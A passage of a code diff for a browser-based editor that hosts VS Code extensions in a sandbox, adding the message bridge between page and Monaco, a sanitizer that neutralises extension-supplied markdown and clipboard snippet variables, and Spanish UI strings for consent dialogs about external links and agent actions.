688+ mirror[name] = function (range, scrollType) {
689+ const r = orig(range, scrollType);
690+ const uri = uriOfModel(mirror.getModel());
691+ if (!fromPage && uri && range && Number.isSafeInteger(range.startLineNumber)) {
692+ revealPending = { t: 'editor.reveal', uri, range: [range.startLineNumber, range.startColumn, range.endLineNumber, range.endColumn] };
693+ if (!revealTimer) revealTimer = setTimeout(() => { revealTimer = null; if (revealPending) send(revealPending); revealPending = null; }, 50);
694+ }
695+ return r;
696+ };
697+ }
698+ function openDoc({ uri, lang, text, v }) {
699+ if (typeof text !== 'string' || text.length > MAX_DOC) return;
700+ const u = monaco.Uri.parse(uri);
701+ let d = docs.get(uri);
702+ if (d) { resetDoc({ uri, text, v }); return; }
703+ const language = knownLangs.has(lang) ? lang : 'plaintext';
704+ const model = monaco.editor.createModel(text, language, u);
705+ d = { model, pageV: v, pending: false, steps: [], timer: null };
706+ docs.set(uri, d);
707+ model.onDidChangeContent(e => {
708+ if (applyingPage) return;
709+ // cambio de una extensión (un comando que edita, p. ej.): se acumula y
710+ // se manda en el mismo turno, contra la última versión que la página conoce
711+ d.steps.push(e.changes.map(c => ({ range: [c.range.startLineNumber, c.range.startColumn, c.range.endLineNumber, c.range.endColumn], text: c.text })));
712+ if (!d.timer) d.timer = setTimeout(() => flushEdits(uri), 0);
713+ });
714+ try { extensionService.activateByEvent('onLanguage:' + language); } catch { /* — */ }
715+ }
716+ function flushEdits(uri) {
717+ const d = docs.get(uri);
718+ if (!d) return;
719+ d.timer = null;
720+ if (!d.steps.length) return;
721+ const steps = d.steps; d.steps = [];
722+ if (d.pending) return; // ya hay uno en vuelo: la página mandará reset
723+ d.pending = true;
724+ send({ t: 'doc.edit', uri, base: d.pageV, steps });
725+ }
726+ function applyPage(d, fn) {
727+ applyingPage = true;
728+ try { fn(); } finally { applyingPage = false; }
729+ }
730+ function resetDoc({ uri, text, v }) {
731+ const d = docs.get(uri);
732+ if (!d || typeof text !== 'string') return;
733+ applyPage(d, () => { if (d.model.getValue() !== text) d.model.setValue(text); });
734+ d.pageV = v; d.pending = false; d.steps = [];
735+ if (d.timer) { clearTimeout(d.timer); d.timer = null; }
736+ }
737+ function changeDoc({ uri, base, v, changes }) {
738+ const d = docs.get(uri);
739+ if (!d) return send({ t: 'doc.need', uri });
740+ if (d.pending) return; // esperando ack/reset de un cambio nuestro
741+ if (d.pageV !== base) return send({ t: 'doc.need', uri });
742+ const model = d.model;
743+ const edits = changes.map(c => {
744+ const s = model.getPositionAt(c.o), e = model.getPositionAt(c.o + c.l);
745+ return { range: new monaco.Range(s.lineNumber, s.column, e.lineNumber, e.column), text: c.t };
746+ });
747+ applyPage(d, () => model.applyEdits(edits));
748+ d.pageV = v;
749+ }
750+ function closeDoc({ uri }) {
751+ const d = docs.get(uri);
752+ if (!d) return;
753+ docs.delete(uri);
754+ if (mirror.getModel() === d.model) mirror.setModel(null);
755+ d.model.dispose();
756+ }
757+ function setActive({ uri, selections }) {
758+ const d = uri ? docs.get(uri) : null;
759+ const model = d ? d.model : null;
760+ if (mirror.getModel() !== model) mirror.setModel(model);
761+ if (model && Array.isArray(selections) && selections.length) {
762+ fromPage++;
763+ try { mirror.setSelections(selections.map(s => new monaco.Selection(s[0], s[1], s[2], s[3]))); }
764+ finally { fromPage--; }
765+ }
766+ }
767+ // una extensión quiere enseñar un documento abierto: el espejo lo enseña ya
768+ // y la página cambia de pestaña si el usuario acaba de hacer algo
769+ function showDoc(uri) {
770+ if (!docs.has(uri)) return;
771+ setActive({ uri });
772+ send({ t: 'editor.show', uri });
773+ }
774+
775+ // ── diagnósticos de las extensiones → la página ──
776+ const ownersOf = new Map(); // uri → Set(owner)
777+ const pageOwners = new Map(); // uri → Set(«page:…») de los diagnósticos de la página
778+ let markersSent = 0;
779+ markerService.onMarkerChanged(resources => {
780+ for (const r of resources) {
781+ const uri = r.toString();
782+ if (!docs.has(uri)) continue;
783+ const byOwner = new Map();
784+ for (const mk of markerService.read({ resource: r })) {
785+ if (String(mk.owner).startsWith('page:')) continue;
786+ if (!byOwner.has(mk.owner)) byOwner.set(mk.owner, []);
787+ byOwner.get(mk.owner).push({
788+ severity: mk.severity, message: str(mk.message, 4096) || '', source: str(mk.source, 200),
789+ code: typeof mk.code === 'string' || typeof mk.code === 'number' ? String(mk.code).slice(0, 200) : mk.code && typeof mk.code === 'object' ? String(mk.code.value).slice(0, 200) : undefined,
790+ range: [mk.startLineNumber, mk.startColumn, mk.endLineNumber, mk.endColumn],
791+ tags: Array.isArray(mk.tags) ? mk.tags.filter(x => x === 1 || x === 2) : undefined,
792+ });
793+ }
794+ for (const list of byOwner.values()) markersSent += list.length;
795+ const prev = ownersOf.get(uri) || new Set();
796+ for (const owner of new Set([...prev, ...byOwner.keys()])) {
797+ send({ t: 'markers', uri, owner: String(owner).slice(0, 200), markers: (byOwner.get(owner) || []).slice(0, 5000) });
798+ }
799+ ownersOf.set(uri, new Set(byOwner.keys()));
800+ }
801+ });
802+
803+ // ── resultados de proveedores → datos planos ──
804+ // Los ítems y comandos se quedan aquí, con un número (handle). Una lista de
805+ // autocompletados o de acciones sigue viva mientras la página tenga alguno
806+ // de sus ítems: sus comandos los guarda el host de extensiones hasta que la
807+ // lista se suelta, y Monaco ejecuta el del ítem aceptado justo después de
808+ // soltar la lista, así que se suelta con un margen.
809+ const handles = new Map(); // handle → objeto que se queda aquí (comandos, ítems)
810+ const listOf = new Map(); // handle de ítem → { list, refs }
811+ let nextObj = 1;
812+ const dropHandle = h => {
813+ handles.delete(h);
814+ const o = listOf.get(h);
815+ if (!o) return;
816+ listOf.delete(h);
817+ o.refs.delete(h);
818+ if (!o.refs.size) { try { o.list.dispose(); } catch { /* — */ } }
819+ };
820+ const keep = obj => {
821+ const h = nextObj++;
822+ handles.set(h, obj);
823+ if (handles.size > MAX_HANDLES) dropHandle(handles.keys().next().value);
824+ return h;
825+ };
826+ const adopt = (list, itemHandles) => {
827+ if (!list || typeof list.dispose !== 'function') return;
828+ if (!itemHandles.length) { try { list.dispose(); } catch { /* — */ } return; }
829+ const o = { list, refs: new Set(itemHandles) };
830+ for (const h of itemHandles) listOf.set(h, o);
831+ };
832+ const release = hs => setTimeout(() => { for (const h of hs) dropHandle(h); }, 3000);
833+ const R = r => (r && typeof r === 'object' && 'startLineNumber' in r ? [r.startLineNumber, r.startColumn, r.endLineNumber, r.endColumn] : undefined);
834+ const md = v => (typeof v === 'string' ? { text: v.slice(0, 65536) } : v && typeof v.value === 'string' ? { md: v.value.slice(0, 65536) } : undefined);
835+ const cmd = c => (c && typeof c.id === 'string' ? { handle: keep(c), title: str(c.title, 500) || '' } : undefined);
836+ const edit = e => (e && R(e.range) && typeof e.text === 'string' ? { range: R(e.range), text: e.text } : null);
837+ const edits = list => (Array.isArray(list) ? list.map(edit).filter(Boolean).slice(0, 100000) : []);
838+ const link = l => (l && l.uri && R(l.range) ? { uri: l.uri.toString(), range: R(l.range), targetSelectionRange: R(l.targetSelectionRange), originSelectionRange: R(l.originSelectionRange) } : null);
839+ const locations = res => (res ? [].concat(res).map(link).filter(Boolean).slice(0, 10000) : []);
840+ function workspaceEdit(we) {
841+ if (!we) return undefined;
842+ const out = [];
843+ let other = 0;
844+ for (const e of we.edits || []) {
845+ if (e && e.resource && e.textEdit) { const te = edit(e.textEdit); if (te) out.push({ uri: e.resource.toString(), range: te.range, text: te.text }); }
846+ else other++;
847+ }
848+ return { edits: out.slice(0, 100000), fileOps: other, rejectReason: str(we.rejectReason, 1000) };
849+ }
850+ function symbol(s, depth = 0) {
851+ if (!s || depth > 20) return null;
852+ return {
853+ name: str(s.name, 1000) || '', detail: str(s.detail, 1000) || '', kind: num(s.kind) ?? 0, tags: Array.isArray(s.tags) ? s.tags.filter(x => x === 1) : [],
854+ range: R(s.range), selectionRange: R(s.selectionRange),
855+ children: Array.isArray(s.children) ? s.children.map(c => symbol(c, depth + 1)).filter(Boolean).slice(0, 10000) : [],
856+ };
857+ }
858+ function completionItem(it) {
859+ const label = typeof it.label === 'string' ? it.label : it.label && typeof it.label.label === 'string' ? { label: it.label.label, detail: str(it.label.detail, 1000), description: str(it.label.description, 1000) } : '';
860+ let range;
861+ if (R(it.range)) range = R(it.range);
862+ else if (it.range && R(it.range.insert) && R(it.range.replace)) range = { insert: R(it.range.insert), replace: R(it.range.replace) };
863+ return {
864+ h: keep(it), label, kind: num(it.kind) ?? 0, tags: Array.isArray(it.tags) ? it.tags.filter(x => x === 1) : undefined,
865+ detail: str(it.detail, 4096), documentation: md(it.documentation), sortText: str(it.sortText, 1000), filterText: str(it.filterText, 1000),
866+ preselect: it.preselect === true, insertText: typeof it.insertText === 'string' ? it.insertText.slice(0, 100000) : '', insertTextRules: num(it.insertTextRules) ?? 0,
867+ range, commitCharacters: Array.isArray(it.commitCharacters) ? it.commitCharacters.filter(c => typeof c === 'string').slice(0, 20) : undefined,
868+ additionalTextEdits: it.additionalTextEdits ? edits(it.additionalTextEdits) : undefined, command: cmd(it.command),
869+ };
870+ }
871+ function codeAction(a) {
872+ return {
873+ h: keep(a), title: str(a.title, 1000) || '', kind: str(a.kind, 200), isPreferred: a.isPreferred === true,
874+ disabled: str(a.disabled, 1000), edit: workspaceEdit(a.edit), command: cmd(a.command), isAI: a.isAI === true,
875+ };
876+ }
877+
878+ const tokens = new Map(); // req → CancellationTokenSource
879+ async function invoke({ req, kind, handle, uri, v, args = {} }) {
880+ const p = providers.get(handle);
881+ const d = docs.get(uri);
882+ if (!p || p.kind !== kind.split('.')[0]) return { stale: true };
883+ // resolver un ítem ya devuelto no depende de la versión (no hay posición)
884+ const anyVersion = kind === 'completion.resolve' || kind === 'codeAction.resolve';
885+ if (!d || (!anyVersion && (d.pageV !== v || d.pending))) return { stale: true };
886+ const model = d.model;
887+ const cts = new monaco.CancellationTokenSource();
888+ tokens.set(req, cts);
889+ const token = cts.token;
890+ const P = a => new monaco.Position(a[0], a[1]);
891+ const opts = { tabSize: num(args.options && args.options.tabSize) ?? 4, insertSpaces: !!(args.options && args.options.insertSpaces) };
892+ const pr = p.provider;
893+ try {
894+ switch (kind) {
895+ case 'format': return { edits: edits(await pr.provideDocumentFormattingEdits(model, opts, token)) };
896+ case 'formatRange': return { edits: edits(await pr.provideDocumentRangeFormattingEdits(model, monaco.Range.lift({ startLineNumber: args.range[0], startColumn: args.range[1], endLineNumber: args.range[2], endColumn: args.range[3] }), opts, token)) };
897+ case 'formatOnType': return { edits: edits(await pr.provideOnTypeFormattingEdits(model, P(args.position), String(args.ch || ''), opts, token)) };
898+ case 'hover': {
899+ const h = await pr.provideHover(model, P(args.position), token, {});
900+ return h ? { contents: (h.contents || []).map(md).filter(Boolean).slice(0, 50), range: R(h.range) } : null;
901+ }
902+ case 'completion': {
903+ const list = await pr.provideCompletionItems(model, P(args.position), { triggerKind: num(args.triggerKind) ?? 0, triggerCharacter: str(args.triggerCharacter, 10) }, token);
904+ if (!list) return null;
905+ const out = { incomplete: list.incomplete === true, suggestions: (list.suggestions || []).slice(0, 5000).map(completionItem) };
906+ adopt(list, out.suggestions.map(s => s.h));
907+ return out;
908+ }
909+ case 'completion.resolve': {
910+ const item = handles.get(args.item);
911+ if (!item || typeof pr.resolveCompletionItem !== 'function') return null;
912+ const r = await pr.resolveCompletionItem(item, token);
913+ return r ? completionItem(r) : null;
914+ }
915+ case 'signature': {
916+ const ctx = { triggerKind: num(args.triggerKind) ?? 1, triggerCharacter: str(args.triggerCharacter, 10), isRetrigger: args.isRetrigger === true };
917+ const r = await pr.provideSignatureHelp(model, P(args.position), token, ctx);
918+ if (!r || !r.value) return null;
919+ const s = r.value;
920+ const out = {
921+ activeSignature: num(s.activeSignature) ?? 0, activeParameter: num(s.activeParameter) ?? 0,
922+ signatures: (s.signatures || []).slice(0, 100).map(sig => ({
923+ label: str(sig.label, 4096) || '', documentation: md(sig.documentation), activeParameter: num(sig.activeParameter),
924+ parameters: (sig.parameters || []).slice(0, 100).map(pa => ({ label: Array.isArray(pa.label) ? [num(pa.label[0]) ?? 0, num(pa.label[1]) ?? 0] : str(pa.label, 1000) || '', documentation: md(pa.documentation) })),
925+ })),
926+ };
927+ try { r.dispose && r.dispose(); } catch { /* — */ }
928+ return out;
929+ }
930+ case 'codeAction': {
931+ const range = monaco.Range.lift({ startLineNumber: args.range[0], startColumn: args.range[1], endLineNumber: args.range[2], endColumn: args.range[3] });
932+ const r = await pr.provideCodeActions(model, range, { trigger: args.trigger === 2 ? 2 : 1, only: str(args.only, 200) }, token);
933+ if (!r) return null;
934+ const out = { actions: (r.actions || []).slice(0, 500).map(codeAction) };
935+ adopt(r, out.actions.map(a => a.h));
936+ return out;
937+ }
938+ case 'codeAction.resolve': {
939+ const a = handles.get(args.action);
940+ if (!a || typeof pr.resolveCodeAction !== 'function') return null;
941+ const r = await pr.resolveCodeAction(a, token);
942+ return r ? codeAction(r) : null;
943+ }
944+ case 'symbols': return { symbols: ((await pr.provideDocumentSymbols(model, token)) || []).slice(0, 10000).map(s => symbol(s)).filter(Boolean) };
945+ case 'definition': return { locations: locations(await pr.provideDefinition(model, P(args.position), token)) };
946+ case 'declaration': return { locations: locations(await pr.provideDeclaration(model, P(args.position), token)) };
947+ case 'typeDefinition': return { locations: locations(await pr.provideTypeDefinition(model, P(args.position), token)) };
948+ case 'implementation': return { locations: locations(await pr.provideImplementation(model, P(args.position), token)) };
949+ case 'references': return { locations: locations(await pr.provideReferences(model, P(args.position), { includeDeclaration: args.includeDeclaration !== false }, token)) };
950+ case 'highlights': return { highlights: ((await pr.provideDocumentHighlights(model, P(args.position), token)) || []).slice(0, 10000).map(h => ({ range: R(h.range), kind: num(h.kind) ?? 0 })).filter(h => h.range) };
951+ case 'rename': return workspaceEdit(await pr.provideRenameEdits(model, P(args.position), String(args.newName || '').slice(0, 1000), token)) || null;
952+ case 'rename.resolve': {
953+ if (typeof pr.resolveRenameLocation !== 'function') return null;
954+ const r = await pr.resolveRenameLocation(model, P(args.position), token);
955+ return r ? { range: R(r.range), text: str(r.text, 1000), rejectReason: str(r.rejectReason, 1000) } : null;
956+ }
957+ default: return { error: 'unknown kind ' + kind };
958+ }
959+ } finally {
960+ tokens.delete(req);
961+ cts.dispose();
962+ }
963+ }
964+
965+ async function execCommand({ id, handle, uri, selections, v, args }) {
966+ if (uri) {
967+ const d = docs.get(uri);
968+ if (!d || d.pageV !== v || d.pending) return { stale: true };
969+ setActive({ uri, selections });
970+ }
971+ if (handle != null) {
972+ const c = handles.get(handle);
973+ if (!c) return { stale: true };
974+ return { value: plain(await commandService.executeCommand(c.id, ...(c.arguments || []))) };
975+ }
976+ return { value: plain(await commandService.executeCommand(String(id), ...(Array.isArray(args) ? args : []))) };
977+ }
978+ const plain = v => (v === null || v === undefined || typeof v === 'boolean' || typeof v === 'number' ? v ?? null : typeof v === 'string' ? v.slice(0, 10000) : null);
979+
980+ // superficie de la API, para la foto que vigilan las pruebas
981+ function surface() {
982+ const out = {};
983+ for (const [name, actor] of [...actors].sort((a, b) => (a[0] < b[0] ? -1 : 1))) {
984+ const methods = new Set();
985+ for (let o = actor; o && o !== Object.prototype; o = Object.getPrototypeOf(o)) {
986+ for (const k of Object.getOwnPropertyNames(o)) {
987+ if (!k.startsWith('$') || methods.has(k) || methods.has(k + ' (unsupported)')) continue;
988+ // sin leer la propiedad: los métodos sin servicio son getters que lanzan
989+ const d = Object.getOwnPropertyDescriptor(o, k);
990+ if (d && typeof d.value === 'function') methods.add(k);
991+ else if (d && d.get) methods.add(k + ' (unsupported)');
992+ }
993+ }
994+ out[name] = [...methods].sort();
995+ }
996+ return {
997+ actors: out,
998+ commands: [...m.CommandsRegistry.getCommands().keys()].sort(),
999+ overridden: ['IClipboardService', 'IDialogService', 'IEditorService', 'IFileDialogService', 'ILanguageStatusService', 'INotificationService', 'IOpenerService', 'IProgressService'],
1000+ };
1001+ }
1002+
1003+ // ── mensajes de la página ──
1004+ port.onmessage = async ev => {
1005+ const msg = ev.data;
1006+ if (!msg || typeof msg !== 'object' || typeof msg.t !== 'string') return;
1007+ try {
1008+ switch (msg.t) {
1009+ case 'ext.add': await addExt(msg); break;
1010+ case 'ext.remove': removeExt(msg.id); break;
1011+ case 'settings': await m.updateUserConfiguration(typeof msg.json === 'string' ? msg.json : '{}'); break;
1012+ case 'doc.open': openDoc(msg); break;
1013+ case 'doc.change': changeDoc(msg); break;
1014+ case 'doc.reset': resetDoc(msg); break;
1015+ case 'doc.lang': { const d = docs.get(msg.uri); if (d && knownLangs.has(msg.lang)) { monaco.editor.setModelLanguage(d.model, msg.lang); try { extensionService.activateByEvent('onLanguage:' + msg.lang); } catch { /* — */ } } break; }
1016+ case 'doc.close': closeDoc(msg); break;
1017+ case 'doc.ack': { const d = docs.get(msg.uri); if (d) { d.pageV = msg.v; d.pending = false; if (d.steps.length && !d.timer) d.timer = setTimeout(() => flushEdits(msg.uri), 0); } break; }
1018+ case 'editor.active': setActive(msg); break;
1019+ case 'invoke': {
1020+ let value, ok = true;
1021+ try { value = await invoke(msg); } catch (e) { ok = false; value = errText(e); }
1022+ send(ok ? { t: 'result', req: msg.req, ok: true, value } : { t: 'result', req: msg.req, ok: false, error: value });
1023+ break;
1024+ }
1025+ case 'cancel': { const c = tokens.get(msg.req); if (c) c.cancel(); break; }
1026+ // diagnósticos de la propia página (TS, JSON, CSS, HTML de Monaco):
1027+ // las extensiones los ven (p. ej. para decorarlos), con dueño «page:…»
1028+ case 'markers.page': {
1029+ const uri = typeof msg.uri === 'string' ? msg.uri : '';
1030+ if (!docs.has(uri) || !Array.isArray(msg.markers)) break;
1031+ const res = monaco.Uri.parse(uri);
1032+ const byOwner = new Map();
1033+ for (const mk of msg.markers.slice(0, 5000)) {
1034+ if (!mk || !Array.isArray(mk.range) || mk.range.length !== 4 || !mk.range.every(n => Number.isSafeInteger(n) && n >= 1)) continue;
1035+ const owner = 'page:' + String(mk.owner || 'page').replace(/[^\w.-]/g, '').slice(0, 60);
1036+ if (!byOwner.has(owner)) byOwner.set(owner, []);
1037+ byOwner.get(owner).push({
1038+ severity: [1, 2, 4, 8].includes(mk.severity) ? mk.severity : 8, message: str(mk.message, 4096) || ' ',
1039+ source: str(mk.source, 200), code: str(mk.code, 200),
1040+ startLineNumber: mk.range[0], startColumn: mk.range[1], endLineNumber: mk.range[2], endColumn: mk.range[3],
1041+ });
1042+ }
1043+ const before = pageOwners.get(uri) || new Set();
1044+ for (const owner of new Set([...before, ...byOwner.keys()])) markerService.changeOne(owner, res, byOwner.get(owner) || []);
1045+ pageOwners.set(uri, new Set(byOwner.keys()));
1046+ break;
1047+ }
1048+ case 'theme': {
1049+ const th = { light: 'vs', dark: 'vs-dark', hc: 'hc-black', 'hc-light': 'hc-light' }[msg.kind];
1050+ if (th) monaco.editor.setTheme(th);
1051+ break;
1052+ }
1053+ case 'ui.result': {
1054+ const r = asks.get(msg.req);
1055+ if (!r) break;
1056+ asks.delete(msg.req);
1057+ const v = msg.value;
1058+ const okInt = x => Number.isSafeInteger(x) && x >= 0 && x < 100000;
1059+ r(v === true || v === false || okInt(v) ? v : typeof v === 'string' ? v.slice(0, 100000) : Array.isArray(v) && v.length <= 1000 && v.every(okInt) ? v : null);
1060+ break;
1061+ }
1062+ case 'release': if (Array.isArray(msg.handles)) release(msg.handles.filter(h => Number.isSafeInteger(h)).slice(0, 5000)); break;
1063+ case 'cmd.exec': {
1064+ let value, ok = true;
1065+ try { value = await execCommand(msg); } catch (e) { ok = false; value = errText(e); }
1066+ send(ok ? { t: 'result', req: msg.req, ok: true, value } : { t: 'result', req: msg.req, ok: false, error: value });
1067+ break;
1068+ }
1069+ case 'activate': try { await extensionService.activateByEvent(String(msg.event)); } catch (e) { log('warn', 'activation event failed: ' + errText(e)); } break;
1070+ case 'surface': {
1071+ let value, ok = true;
1072+ try { value = surface(); } catch (e) { ok = false; value = errText(e); }
1073+ send(ok ? { t: 'result', req: msg.req, ok: true, value } : { t: 'result', req: msg.req, ok: false, error: value });
1074+ break;
1075+ }
1076+ case 'stats': {
1077+ const st = extensionService.getExtensionsStatus ? extensionService.getExtensionsStatus() : {};
1078+ const exts2 = {};
1079+ for (const [k, v] of Object.entries(st)) {
1080+ if (!exts.has(k.toLowerCase())) continue;
1081+ exts2[k.toLowerCase()] = {
1082+ started: !!v.activationStarted, activated: !!v.activationTimes, activationError: activationErrors.get(k.toLowerCase()),
1083+ errors: [...(v.runtimeErrors || []).map(errText), ...(v.messages || []).map(x => errText(x && x.message))].slice(0, 5),
1084+ };
1085+ }
1086+ send({ t: 'result', req: msg.req, ok: true, value: {
1087+ commands: [...extCommands].filter(c => typeof c === 'string').slice(0, 2000), providers: { ...kindCount }, later: { ...laterKinds },
1088+ markers: markersSent, errors: seenErrors.slice(-20), openRefused: openRefused.n, unsupported: [...unsupported], extensions: exts2,
1089+ denied: denials.n, deniedBy: Object.fromEntries([...denials.by].slice(0, 50)), calls: Object.fromEntries([...calls].slice(0, 300)),
1090+ } });
1091+ break;
1092+ }
1093+ case 'ping': send({ t: 'pong', n: msg.n, navBlocked: sandbox.navBlocked ? sandbox.navBlocked() : 0 }); break;
1094+ default: log('warn', 'unknown message ' + msg.t.slice(0, 40));
1095+ }
1096+ } catch (e) {
1097+ log('error', msg.t + ': ' + errText(e));
1098+ }
1099+ };
1100+
1101+ send({ t: 'ready', protocol: PROTOCOL, vscode: '1.138.0' });
1102+}
added web/js/ext2/sanitize.js +139 −0
@@ -0,0 +1,139 @@
1+// Cómo se pinta en Code el texto que escribe una extensión. Regla única: nada
2+// de lo que sale del recinto puede hacer una petición, navegar o meter HTML.
3+//
4+// · Campos de texto plano (documentación de un autocompletado, detalle,
5+// firmas, mensajes de diagnóstico): Monaco los pinta como texto. Se pasa el
6+// markdown a texto legible: una imagen queda en su texto alternativo y un
7+// enlace [t](u) en «t (u)».
8+// · Campos que Monaco exige en markdown (hover): markdown CANÓNICO hecho
9+// aquí. El texto va con TODOS los signos de puntuación ASCII escapados con
10+// barra: no puede sobrevivir ningún enlace, imagen, autoenlace, HTML,
11+// énfasis ni título. El código va entre delimitadores nuestros.
12+// isTrusted, supportHtml y supportThemeIcons a false y sin baseUri.
13+//
14+// La página solo pinta markdown que ha escrito ella: no hay diferencias entre
15+// el analizador de la extensión y el nuestro, porque la estructura es nuestra.
16+
17+const PUNCT = /[!-/:-@[-`{-~]/g; // toda la puntuación ASCII
18+const MAX = 65536;
19+
20+// Trocea el markdown de una extensión en texto, código en línea y bloques de
21+// código vallados. Conservador: lo que no es código es texto.
22+export function segments(src) {
23+ const s = String(src ?? '').slice(0, MAX).replace(/\r\n?/g, '\n');
24+ const out = [];
25+ let i = 0, text = '';
26+ const flush = () => { if (text) { out.push({ type: 'text', value: text }); text = ''; } };
27+ while (i < s.length) {
28+ const atLineStart = i === 0 || s[i - 1] === '\n';
29+ if (atLineStart) {
30+ const fence = /^( {0,3})(`{3,}|~{3,})([^\n`]*)\n/.exec(s.slice(i));
31+ if (fence) {
32+ const marker = fence[2];
33+ const body = s.slice(i + fence[0].length);
34+ const close = new RegExp('(^|\\n) {0,3}' + marker[0] + '{' + marker.length + ',}[ \\t]*(\\n|$)').exec(body);
35+ const end = close ? close.index + (close[1] ? 1 : 0) : body.length;
36+ flush();
37+ out.push({ type: 'fence', lang: (fence[3].trim().split(/\s+/)[0] || '').toLowerCase(), value: body.slice(0, end).replace(/\n$/, '') });
38+ i += fence[0].length + (close ? close.index + close[0].length : body.length);
39+ continue;
40+ }
41+ }
42+ if (s[i] === '`') {
43+ let n = 0; while (s[i + n] === '`') n++;
44+ const ticks = '`'.repeat(n);
45+ let j = i + n, found = -1;
46+ while ((j = s.indexOf(ticks, j)) !== -1) {
47+ if (s[j + n] !== '`' && s[j - 1] !== '`') { found = j; break; }
48+ j += n;
49+ }
50+ if (found !== -1) {
51+ flush();
52+ out.push({ type: 'code', value: s.slice(i + n, found).replace(/\n/g, ' ') });
53+ i = found + n;
54+ continue;
55+ }
56+ text += ticks; i += n; continue;
57+ }
58+ text += s[i++];
59+ }
60+ flush();
61+ return out;
62+}
63+
64+// Texto de un trozo de markdown, sin sintaxis que pueda convertirse en nada.
65+function toPlain(text) {
66+ return text
67+ .replace(/!\[([^\]]*)\]\([^)]*\)/g, '$1') // imagen → su texto alternativo
68+ .replace(/\[([^\]]+)\]\(\s*<?([^)\s>]*)>?(?:\s+"[^"]*")?\s*\)/g, (_, t, u) => (u ? `${t} (${u})` : t))
69+ .replace(/<\/?[a-zA-Z][^>]*>/g, '');
70+}
71+
72+export function plainText(src) {
73+ return segments(src).map(seg => (seg.type === 'text' ? toPlain(seg.value) : seg.type === 'code' ? seg.value : seg.value + '\n')).join('').slice(0, MAX);
74+}
75+
76+const escapeText = t => t.replace(PUNCT, ch => '\\' + ch)
77+ // sangría de 4 espacios = bloque de código: se conserva con espacios duros
78+ .replace(/^( +)/gm, sp => ' '.repeat(sp.length))
79+ // saltos de línea simples visibles (dos espacios + salto)
80+ .replace(/([^\n])\n(?!\n)/g, '$1 \n');
81+
82+function fenceFor(value) {
83+ let longest = 2;
84+ for (const m of value.matchAll(/`+/g)) longest = Math.max(longest, m[0].length);
85+ return '`'.repeat(longest + 1);
86+}
87+
88+export function canonicalMarkdown(src) {
89+ const parts = [];
90+ for (const seg of segments(src)) {
91+ if (seg.type === 'text') parts.push(escapeText(seg.value));
92+ else if (seg.type === 'code') {
93+ let n = 1;
94+ for (const m of seg.value.matchAll(/`+/g)) n = Math.max(n, m[0].length + 1);
95+ const d = '`'.repeat(n);
96+ const pad = seg.value.startsWith('`') || seg.value.endsWith('`') ? ' ' : '';
97+ parts.push(d + pad + seg.value + pad + d);
98+ } else {
99+ const lang = /^[a-z0-9-]{0,30}$/.test(seg.lang) ? seg.lang : '';
100+ const f = fenceFor(seg.value);
101+ const before = parts.length && !/\n$/.test(parts[parts.length - 1]) ? '\n' : '';
102+ parts.push(`${before}${f}${lang}\n${seg.value}\n${f}\n`);
103+ }
104+ }
105+ return { value: parts.join('').slice(0, MAX * 2), isTrusted: false, supportHtml: false, supportThemeIcons: false };
106+}
107+
108+// Texto plano que va en un campo markdown (p. ej. un hover que llegó como
109+// cadena): todo escapado, ninguna estructura.
110+export function markdownFromText(text) {
111+ return { value: escapeText(String(text ?? '').slice(0, MAX)), isTrusted: false, supportHtml: false, supportThemeIcons: false };
112+}
113+
114+// Variables ${CLIPBOARD} de un snippet de extensión: fuera. Si no, aceptar un
115+// autocompletado metería tu portapapeles en un documento que la extensión lee.
116+export function stripClipboard(snippet) {
117+ const s = String(snippet ?? '');
118+ let out = '', i = 0;
119+ while (i < s.length) {
120+ if (s[i] === '\\' && i + 1 < s.length) { out += s[i] + s[i + 1]; i += 2; continue; }
121+ if (s[i] === '$') {
122+ const bare = /^\$CLIPBOARD(?![A-Za-z0-9_])/.exec(s.slice(i));
123+ if (bare) { i += bare[0].length; continue; }
124+ if (s[i + 1] === '{' && /^\$\{CLIPBOARD(?![A-Za-z0-9_])/.test(s.slice(i))) {
125+ // salta hasta la llave que cierra, respetando las anidadas y los escapes
126+ let depth = 0, j = i + 1;
127+ for (; j < s.length; j++) {
128+ if (s[j] === '\\') { j++; continue; }
129+ if (s[j] === '{') depth++;
130+ else if (s[j] === '}' && --depth === 0) break;
131+ }
132+ i = j + 1;
133+ continue;
134+ }
135+ }
136+ out += s[i++];
137+ }
138+ return out;
139+}
added web/js/ext2/strings.js +337 −0
@@ -0,0 +1,337 @@
1+// Textos del nivel 2 que el panel no enseña a todos: los del consentimiento,
2+// los mandos de las extensiones con código, sus avisos y diálogos y las líneas
3+// de «qué funcionará». Se cargan con los módulos de js/ext2/ que los usan; el
4+// panel de extensiones (js/ext/i18n.js) se queda solo con lo que ve cualquiera.
5+import { addStrings } from '../ext/i18n.js';
6+
7+export const STRINGS2 = {
8+ es: {
9+ x2From: 'Extensión: {name}',
10+ x2FromAny: 'Una extensión',
11+ x2Dismiss: 'Cerrar el aviso',
12+ x2Cancel: 'Cancelar',
13+ x2Ok: 'Aceptar',
14+ x2PickOne: 'Elige una opción',
15+ x2PickMany: 'Escribe para filtrar (sin espacios) · Espacio marca la resaltada · Intro acepta',
16+ x2PickNone: 'Ninguna coincide.',
17+ x2InputHint: 'Escribe y pulsa Intro',
18+ x2Working: 'trabajando…',
19+ x2OpenTitle: '¿Abrir una dirección externa?',
20+ x2OpenBody: 'Una extensión, o un enlace que enseñó, quiere abrir esta dirección en una pestaña nueva. Todo lo que va en la dirección le llega a ese sitio.',
21+ x2OpenBodyLink: 'Hay extensiones con código en esta pestaña, así que los enlaces del editor preguntan antes. Todo lo que va en la dirección le llega a ese sitio.',
22+ x2OpenSite: 'Sitio:',
23+ x2OpenPuny: '(escrito {host})',
24+ x2OpenNoClick: 'Pedida sin un clic.',
25+ x2OpenInvalid: 'No es una dirección válida: solo se puede copiar.',
26+ x2OpenScheme: 'Las direcciones «{scheme}:» no se abren desde aquí: solo se puede copiar.',
27+ x2OpenCopy: 'Copiar dirección',
28+ x2OpenCopied: 'Copiada',
29+ x2OpenCopyFailed: 'No se pudo copiar',
30+ x2OpenOpen: 'Abrir en pestaña nueva',
31+ x2OpenBlock: 'Bloquear peticiones en esta sesión',
32+ x2PreviewTitle: '¿Previsualizar un fichero que cambió una extensión?',
33+ x2PreviewBody: 'Una extensión cambió este fichero. La vista previa ejecuta los scripts de la página, que pueden salir a internet y leer los ficheros del proyecto que cite.',
34+ x2PreviewAnyway: 'Previsualizar igualmente',
35+ x2AgentWebTitle: '¿Dejar que el agente haga esta petición web?',
36+ x2AgentRunTitle: '¿Dejar que el agente ejecute esta orden?',
